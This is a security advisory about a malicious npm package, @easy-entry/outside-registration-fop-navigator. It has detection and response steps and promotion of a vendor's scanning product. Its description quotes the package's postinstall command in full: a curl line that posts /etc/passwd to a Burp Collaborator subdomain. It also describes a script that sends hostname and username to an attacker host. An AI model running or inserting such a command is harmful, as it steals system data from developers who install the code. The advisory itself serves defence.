@easy-entry/outside-registration-fop-navigatornpm
Malicious code in @easy-entry/outside-registration-fop-navigator (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install.

Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/outside-registration-fop-navigator (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/outside-registration-fop-navigator across your stack and pipelines.
If you installed it — respond
Remove @easy-entry/outside-registration-fop-navigator from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @easy-entry/outside-registration-fop-navigator was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @easy-entry/outside-registration-fop-navigator before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
